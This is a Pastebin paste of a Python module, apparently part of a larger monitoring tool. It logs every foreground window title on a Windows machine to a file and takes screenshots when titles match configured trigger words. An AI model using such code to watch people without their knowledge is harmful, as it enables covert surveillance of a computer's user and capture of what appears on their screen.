Advertisement
FlyFar

WindowTracker.py

Aug 10th, 2023
760
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | Cybersecurity | 0 0
  1. import win32gui, time, win32process
  2. from threading import Thread
  3. from Screenshot import Screenshot
  4. from Util import Util
  5.  
  6.  
  7.  
  8. class WindowTracker(Thread):
  9.  
  10.     def __init__(self, config, screenshot):
  11.         Thread.__init__(self, name='window tracking')
  12.         self.__config = config
  13.         self.__screenshot = screenshot
  14.         self.__activeWindow = None
  15.         self.__screenshotTimer = 0
  16.  
  17.  
  18.  
  19.     def run(self):
  20.         while True:
  21.             if self.__config.windowTrackingIsActive:
  22.                 time.sleep(self.__config.samplingFrequency)
  23.                 activeWindow = win32gui.GetForegroundWindow()
  24.                 activeWindowText = win32gui.GetWindowText(activeWindow)
  25.                 self.__examineWindow(activeWindowText)
  26.                 self.__screenshotHandler(activeWindowText)
  27.  
  28.  
  29.  
  30.     def __examineWindow(self, activeWindowTitle:str) -> None:
  31.         if self.__activeWindow != activeWindowTitle:
  32.             self.__activeWindow = activeWindowTitle
  33.             windowTitle = '\n'*2 + f'{self.__activeWindow}'.center(100,'-') + '\n'
  34.             if self.__config.debug:
  35.                 print(windowTitle)
  36.             Util.fileOut(self.__config.logPath + self.__config.logFileName, windowTitle)
  37.  
  38.  
  39.  
  40.     def __screenshotHandler(self, activeWindowText:str) -> None:
  41.         for trigger in self.__config.screenshotTrigger.split(' '):
  42.             if trigger in activeWindowText.lower():
  43.                 self.__screenshotTimer += 1
  44.                 if self.__config.debug:
  45.                     print(self.__screenshotTimer)
  46.                 if self.__screenshotTimer % self.__config.screenshotFrequency == 0:
  47.                     self.__screenshot.takeScreenshot()
Tags: tracker
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement